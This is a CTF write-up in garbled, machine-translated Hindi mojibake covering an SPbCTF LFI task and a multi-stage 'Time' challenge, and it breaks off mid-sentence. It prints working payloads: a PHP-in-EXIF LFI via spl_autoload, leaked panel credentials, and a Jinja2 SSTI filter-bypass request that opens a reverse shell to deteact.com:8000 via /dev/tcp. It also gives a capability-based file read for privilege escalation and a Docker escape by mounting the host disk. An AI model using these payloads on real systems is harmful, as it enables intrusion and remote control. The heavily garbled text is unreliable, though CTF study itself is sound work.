рдпрд╣ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╣рдо рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЬреИрд╕рд╛ рдХрд┐ "<class_name> <some_extension>" рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдПрдХ рд╡рд░реНрдЧ "<class_name>" рд▓реЛрдб рдХрд░рдирд╛ рд╣реИред рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реИ:

 void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] ) 

рд╣рдорд╛рд░рд╛ рдкрд╣рд▓рд╛ рддрд░реНрдХ рдХреЗрд╡рд▓ рд╕рдВрдЦреНрдпрд╛ (1-512) рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХрдХреНрд╖рд╛ рдХрд╛ рдирд╛рдо рдПрдХ ... рд╕рдВрдЦреНрдпрд╛? ... рдЕрдЬреАрдм рд╣реИред
рдПрдХреНрд╕рдЯреЗрдВрд╢рди рддрд░реНрдХ рднреА рдЕрдиреБрдкрдпреЛрдЧреА рд▓рдЧрддрд╛ рд╣реИ, рдирд┐рдпрдВрддреНрд░рд┐рдд рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рд╕реЗ рдПрдХ рд╕реНрддрд░ рдЕрдзрд┐рдХ рдЧрд╣рд░реА рд╣реИрдВред рд╣рдореЗрдВ (рд╣рдореЗрдВ рдПрдХ рдЙрдкрд╕рд░реНрдЧ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред

рдЗрд╕ рддрд░рд╣ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рдкрд░ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╣рдореЗрдВ рдПрдХ LFI рджреЗ рд╕рдХрддрд╛ рд╣реИ:

 spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg") 

рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдирд╛рдо рд▓реАрдХ рд╕реНрд░реЛрдд рдХреЛрдб рд╕реЗ рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдФрд░ рд╣рдо рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реЛ рдЧрдП, рдХреНрдпреЛрдВрдХрд┐ рдЕрдЧрд░ рдирд╛рдо рдХрд╛ рдкрд╣рд▓рд╛ рдЪрд░рд┐рддреНрд░ рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рднреА рдерд╛ -> рд╣рдо рд╡рд╣рд╛рдВ рд╕реЗ рдлрд╛рдЗрд▓реЗрдВ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдереЗред

рддреЛ ... рдЕрдм рд╣рдореЗрдВ рдмрд╕ рдПрдХ "рджрдпрд╛рд▓реБ-рд╡реИрдз" ( getimagesize рдХреЛ рдЗрд╕реЗ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛) рдкрд╛рд╕ рдХрд░рдирд╛ рд╣реИред * ред Php рдХреЛрдб рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╕рд░рд▓ рдЙрджрд╛рд╣рд░рдг (рдПрдХреНрд╕рд┐рдл рдореЗрдВ php рдкреЗрд▓реЛрдб) рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИред

рдЗрд╕реЗ 1111.jpg рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ, рдФрд░ рдХрд░реЗрдВ:

рдкреНрд░рд╛рдкреНрдд:
a = / get_the_flag

рдкреЛрд╕реНрдЯ:
рдлрд╝рд┐рд▓реНрдЯрд░ = spl_autoload
рдЖрдХрд╛рд░ = 51
рдкрд╛рда = a8a2cab09c6b728919fe09af57ded / 1111.jpg
рдЬрдорд╛ рдХрд░рдирд╛ = рез

рдЙрддреНрддрд░:
... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***

Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37

-- SPbCTF (vk.com/spbctf)

рдЦреЛрдЬреА рдкрдВрдХреНрддрд┐: 1m_t3h_R34L_binaeb_g1mme_my_71ck37
рдЕрдкрд▓реЛрдб рдФрд░ рдПрд▓рдПрдлрдЖрдИ рдПрдХ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред



Day5ред рд╕рдордп


рдпрд╣ рдХрд╛рд░реНрдп рдбрд┐рдЬрд┐рдЯрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдо рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛
рдкрд╣рд▓реА рдЪреАрдЬ рдЬреЛ рдЖрдкрдХреЛ рдЪрд╛рд╣рд┐рдП, рд╡рд╣ рд╣реИ рд╕рдордп рдХреЛ рд╡рд╢ рдореЗрдВ рдХрд░рдиреЗ рдХреА, рджреВрд╕рд░реА рдЫреЛрдЯреА рджреБрдирд┐рдпрд╛ рд╕реЗ рдкрд░реЗ рдЬрд╛рдиреЗ рдХреАред рдЙрд╕рдХреЗ рдмрд╛рдж рдЖрдкрдХреЛ рдмреЙрд╕ рдХреЗ рдЕрдВрддрд┐рдо рд╕реНрддрд░ рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рд╣рдерд┐рдпрд╛рд░ рдорд┐рд▓реЗрдЧрд╛ред рдЕ рдЫрд╛!

51.15.75.80

рд╕рдВрдХреЗрдд
10/27/2018 16:00
рдУрд╣, рдПрдХ рдмреЙрдХреНрд╕ рдкрд░ рдХрд┐рддрдиреЗ рдбрд┐рд╡рд╛рдЗрд╕ ... рдХреНрдпрд╛ рд╡реЗ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реИрдВ?
10/27/2018 14:35
рдпрджрд┐ рдЖрдк рдЯрд╛рдЗрдордкреИрдирд▓ рдкрд░ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ, рддреЛ рдЖрдк рдПрдХ рд╕рдВрдкреВрд░реНрдг рд╕рд┐рд╕реНрдЯрдо рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╢рд░рдорд╛рдУ рдорддред
10/27/2018 14:25
рд╡рд░реНрдЪреБрдЕрд▓ рд╣реЛрд╕реНрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдФрд░ 200 рдкрд░ рдирд┐рд╡рд╛рд╕ рди рдХрд░реЗрдВ
10/26/2018 19:25
рдЯрд╛рд╕реНрдХ рд╣рд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред 24 рдШрдВрдЯреЗ рдЬреЛрдбрд╝реЗ рдЧрдПред
10/26/2018 17:35
рдЕрдкрдиреА рд╕рднреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
10/26/2018 12:25
рдХрд┐рд╕реА рдХрд╛рд░реНрдп рдХреЗ рдХрд┐рд╕реА рднреА рдЪрд░рдг рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХрд┐рд╕реА рдлреЛрд░реЗрдВрд╕рд┐рдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

1) рд╡рд░реНрдбрдкреНрд░реЗрд╕


рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, рд╣рдореЗрдВ рдкрддрд╛ 51.15.75.80 рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ ред
рд╣рдо рд╣реЗрд╣рдбрд┐рд░реНрдм рдЪрд▓рд╛рддреЗ рд╣реИрдВ - рд╣рдо рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА / рд╡рд░реНрдбрдкреНрд░реЗрд╕ / рджреЗрдЦрддреЗ рд╣реИрдВред рддреБрд░рдВрдд рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рдкрд░ рдЬрд╛рдПрдВ : рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ ред
рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рдореЗрдВ, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЖрдк рдХреЗрд╡рд▓ рдЖрд░рд╕реАрдИ рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдЫрд┐рдкреА рд╣реБрдИ рдкреЛрд╕реНрдЯ рд╣реИ:
09/25/2018 ADMINISTRATOR рджреНрд╡рд╛рд░рд╛
рдирд┐рдЬреА: рд╕рдордп рдкреИрдирд▓ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдиреЛрдЯреНрд╕
рд▓реЙрдЧрд┐рди: рдХреНрд░рд┐рд╕реНрдЯреЛрдлрд░
рдкрд╛рд╕рд╡рд░реНрдб: L2tAPJReLbNSn085lTvRNj
рд╣реЛрд╕реНрдЯ: timepanel.zn

2) SSTI


рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдЖрдкрдХреЛ рд╡рд░реНрдЪреБрдЕрд▓ рд╣реЛрд╕реНрдЯ timepanel.zn рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ рдЙрд╕реА рд╕рд░реНрд╡рд░ рдкрд░ рдЬрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ ред
рд╣рдо рдЗрд╕ рд╣реЛрд╕реНрдЯ рдкрд░ рд╣реЗрдзрд┐рд░рдм рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ - рд╣рдо / Ad_auth рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рджреЗрдЦрддреЗ рд╣реИрдВ, рд╣рдо рдКрдкрд░ рджрд┐рдП рдЧрдП рд▓реЙрдЧрд┐рди рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рддрд╣рдд рдЬрд╛рддреЗ рд╣реИрдВред рд╣рдо рдЙрд╕ рд░реВрдк рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдЖрдкрдХреЛ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддрд┐рдерд┐рдпреЛрдВ ("рд╕реЗ" рдФрд░ "рд╕реЗ") рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЙрд╕реА рд╕рдордп, рд╣рдо рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ HTML рдХреЛрдб рдореЗрдВ рдПрдХ рдЯрд┐рдкреНрдкрдгреА рджреЗрдЦрддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдБ рд╕рдорд╛рди рддрд┐рдерд┐рдпрд╛рдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИрдВ:

 <!- start time: 2018-10-25 20:00:00, finish time:2018-10-26 20:00:00 -> 

рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдпрд╣рд╛рдВ рдмрдЧ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рдЗрд╕ рдкреНрд░рддрд┐рдмрд┐рдВрдм рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдпрд╣ XSS рд╣реЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП SSTI рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ:

 start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00 

рдЙрддреНрддрд░ рд╣реИ:

 <!- start time: 2018-10-25 20:00:000, finish time:2018-10-26 20:00:00 -> 

{{рдЖрддреНрдо}}, {{'a' * 5}} рднреЗрдЬрдиреЗ рд╕реЗ рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЬрд┐рдВрдЬрд╛ 2 рд╣реИ , рд▓реЗрдХрд┐рди рдорд╛рдирдХ рд╡реИрдХреНрдЯрд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред {{рдмреНрд░реИрдХреЗрдЯреНрд╕}} рдХреЗ рдмрд┐рдирд╛ рд╡реИрдХреНрдЯрд░ рднреЗрдЬрдирд╛, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЙрддреНрддрд░ "_" рд╡рд░реНрдгреЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ рд╢рдмреНрдж, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, "рд╡рд░реНрдЧ"ред рдпрд╣ рдлрд╝рд┐рд▓реНрдЯрд░ request.args рдФрд░! Attr () рдирд┐рд░реНрдорд╛рдг рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрд╛рдИрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдПрдХ рдПрд╕реНрдХреЗрдк рдЕрдиреБрдХреНрд░рдо рдХреЗ рд╕рд╛рде рдХреБрдЫ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдПрдиреНрдХреЛрдбрд┐рдВрдЧред

рдмреИрдХрдХрдиреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдЕрдВрддрд┐рдо рдХреНрд╡реЗрд░реА
POST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/deteact.com/8000+<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM

start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')(request.args.sc) }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}
&finish=2018-10-26+20%3A00%3A00


3) рдПрд▓рдкреАрдИ


RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рд╕рдордЭрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдЬрдбрд╝ рддрдХ рдмрдврд╝рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдХрдИ рдЭреВрдареЗ рд░рд╛рд╕реНрддреЗ рд╣реИрдВ (/ usr / bin / special, /opt/privesc.py рдФрд░ рдХреБрдЫ рдФрд░) рдЬреЛ рдореИрдВ рдХреЗрд╡рд▓ рд╕рдордп рд▓реЗрдиреЗ рдХреЗ рдмрд╛рдж рд╕реЗ рд╡рд░реНрдгрди рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ред рдПрдХ рдмрд┐рдирд╛рд░ / usr / рдмрд┐рди / рд╢реВрдиреНрдп рднреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╕реВрдж-рдмрд┐рдЯ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдХреЛ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ (рдмрд╕ рдЗрд╕реЗ рд╕реНрдЯреЗрдХ рдореЗрдВ рд╣реЗрдХреНрд╕-рдПрдиреНрдХреЛрдбреЗрдб рдкрде рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ)ред

рдХрд╛рд░рдг рдХреНрд╖рдорддрд╛рдПрдВ (/ usr / bin / zero = cap_dac_read_search + ep) рд╣реИред
рд╣рдо рдЫрд╛рдпрд╛ рдХреЛ рдкрдврд╝рддреЗ рд╣реИрдВ, рд╣реИрд╢ рдХреЛ рдмреНрд░рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЬрдм рдЗрд╕реЗ рдмреНрд░рд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдо рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рддреЗ рд╣реИрдВ рдХрд┐ рд╣рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдореМрдЬреВрдж рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

$ echo /home/cristopher/.bash_history | xxd -p | zero

рдореИрдВ рдЖрдкрдХреЗ рд▓рд┐рдП рдХреБрдЫ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реВрдВ
рд╕реБ
Dpyax4TkuEVVsgQNz6GUQX

4) рдбреЙрдХрд░ рднрд╛рдЧрдиреЗ / рдлреЛрд░реЗрдВрд╕рд┐рдХ


рддреЛ, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдЬрдбрд╝ рд╣реИред рд▓реЗрдХрд┐рди рдпрд╣ рдЕрдВрдд рдирд╣реАрдВ рд╣реИред рд╣рдордиреЗ рдПрдкреНрдЯреВрдиреНрд╕реНрдЯреЗрд▓реАрдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрдИ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рдлрд╛рдЗрд▓реЗрдВ рдвреВрдВрдвреА рд╣реИрдВ рдЬреЛ рдЕрдЧрд▓реЗ рдЪрд░рдг рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИрдВ:

рдЯрд┐рдХрдЯ рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдПрдХ рдЫрд╡рд┐ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ "1" рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рдПред рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдореЙрдбрд▓ рдФрд░ рдПрдХ рдЫрд╡рд┐ рд╣реИред рдХрд░реНрд▓ -X POST -F рдЪрд┐рддреНрд░=@ZeroSource.bmp 'http://51.15.100.188 {6491 / рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА'ред

рддреЛ, рдЕрдм рд╣рдо рдорд╢реАрди рд▓рд░реНрдирд┐рдВрдЧ рдореЙрдбрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рддрд┐рд╕реНрдкрд░реНрдзреА рдЙрджрд╛рд╣рд░рдг рдмрдирд╛рдиреЗ рдХреЗ рдорд╛рдирдХ рдХрд╛рд░реНрдп рдХреЗ рд╕рд╛рде рд╕рд╛рдордирд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рд╕реНрддрд░ рдкрд░ рдореБрдЭреЗ рдЕрднреА рднреА рд╡реЗ рд╕рднреА рдлрд╛рдЗрд▓реЗрдВ рдирд╣реАрдВ рдорд┐рд▓ рд╕рдХреАрдВ рдЬрд┐рдирдХреА рдореБрдЭреЗ рдЬрд░реВрд░рдд рдереАред рдпрд╣ рдХреЗрд╡рд▓ рд╕рд░реНрд╡рд░ рдкрд░ рдЖрд░-рд╕реНрдЯреВрдбрд┐рдпреЛ рдПрдЬреЗрдВрдЯ рдбрд╛рд▓рдХрд░ рдФрд░ рджреВрд░рд╕реНрде рдлреЛрд░реЗрдВрд╕рд┐рдХ рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдХреЗ рджреНрд╡рд╛рд░рд╛ рдРрд╕рд╛ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ред рд▓рдЧрднрдЧ рдЬреЛ рдореБрдЭреЗ рдЪрд╛рд╣рд┐рдП рдерд╛ рдЙрд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд╛рд▓ рджрд┐рдпрд╛, рдореБрдЭреЗ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдбреЙрдХрдЯрд░ рдХрдВрдЯреЗрдирд░ рдПрдХ рдРрд╕реЗ рдореЛрдб рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдкреВрд░реЗ рдбрд┐рд╕реНрдХ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ

рд╣рдо рдорд╛рдЙрдВрдЯ / рджреЗрд╡ / vda1 / рд░реВрдЯ / рдХреЗрдХреЗ рдмрдирд╛рддреЗ рд╣реИрдВ рдФрд░ рд╣реЛрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдкреВрд░реЗ рд╕рд░реНрд╡рд░ рддрдХ рд░реВрдЯ рдПрдХреНрд╕реЗрд╕ (рдЬрдм рд╕реЗ рд╣рдо рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдХреБрдВрдЬреА рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ)ред рд╣рдо KerasModel.h5, ZeroSource.bmp рдХреЛ рдирд┐рдХрд╛рд▓рддреЗ рд╣реИрдВред

5) рд╕рд▓рд╛рд╣рдХрд╛рд░ рдПрдордПрд▓


рдпрд╣ рддрд╕реНрд╡реАрд░ рд╕реЗ рддреБрд░рдВрдд рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ MNIST рдбреЗрдЯрд╛рд╕реЗрдЯ рдкрд░ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рд╣реИред рдЬрдм рд╣рдо рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдордирдорд╛рдиреА рддрд╕реНрд╡реАрд░ рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ рдЬрд╡рд╛рдм рдорд┐рд▓рддрд╛ рд╣реИ рдХрд┐ рдЪрд┐рддреНрд░ рдмрд╣реБрдд рдЕрд▓рдЧ рд╣реИрдВред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рд╡реИрдХреНрдЯрд░ рдХреЗ рдмреАрдЪ рдХреА рджреВрд░реА рдХреЛ рдорд╛рдкрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдмрд┐рд▓реНрдХреБрд▓ рдПрдХ рдкреНрд░рддрд┐рдХреВрд▓ рдЙрджрд╛рд╣рд░рдг рдЪрд╛рд╣рддрд╛ рд╣реИ, рди рдХрд┐ рдХреЗрд╡рд▓ рдЪрд┐рддреНрд░ "1" рдХреЗ рд╕рд╛рдеред

рд╣рдо рдкрд╣рд▓реЗ рд╣рдорд▓реЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рд╣рдореЗрдВ рдореВрд░реНрдЦ рдмреЙрдХреНрд╕ рд╕реЗ рдорд┐рд▓рддрд╛ рд╣реИ - рд╣рдо рд╣рдорд▓рд╛рд╡рд░ рд╡реЗрдХреНрдЯрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╕рд░реНрд╡рд░ рдЗрд╕реЗ рд╕реНрд╡реАрдХрд╛рд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ (рджреВрд░реА рдмрд╣реБрдд рдорд╣рд╛рди рд╣реИ)ред рдлрд┐рд░ рдореИрдВ рд╡рд┐рдиреНрдбрд▓реНрд╕ рдореЗрдВ рдЪрд▓рд╛ рдЧрдпрд╛, рдПрдордПрдирдЖрдИрдПрд╕рдЯреА рдХреЗ рддрд╣рдд рдПрдХ рдкрд┐рдХреНрд╕реЗрд▓ рд╣рдорд▓реЗ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рд░реАрдореЗрдХ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛, рдФрд░ рдХреБрдЫ рднреА рдХрд╛рдо рдирд╣реАрдВ рдХрд┐рдпрд╛, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╣рдорд▓рд╛ рд╡рд┐рднреЗрджрдХ рд╡рд┐рдХрд╛рд╕ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдврд╛рд▓ рдирд╣реАрдВ рд╣реИ рдФрд░ рдкреНрд░рд╛рдпрд┐рдХрддрд╛ рд╡реЗрдХреНрдЯрд░ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢рд┐рдд рдиреНрдпреВрдирддрдо рд╕реНрдЯреЛрдЪрд╕реНрдЯрд┐рдХ рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХрд╛ рд╡реЗрдХреНрдЯрд░ рдирд╣реАрдВ рдмрджрд▓рд╛, рдХреНрдпреЛрдВрдХрд┐ рддрдВрддреНрд░рд┐рдХрд╛ 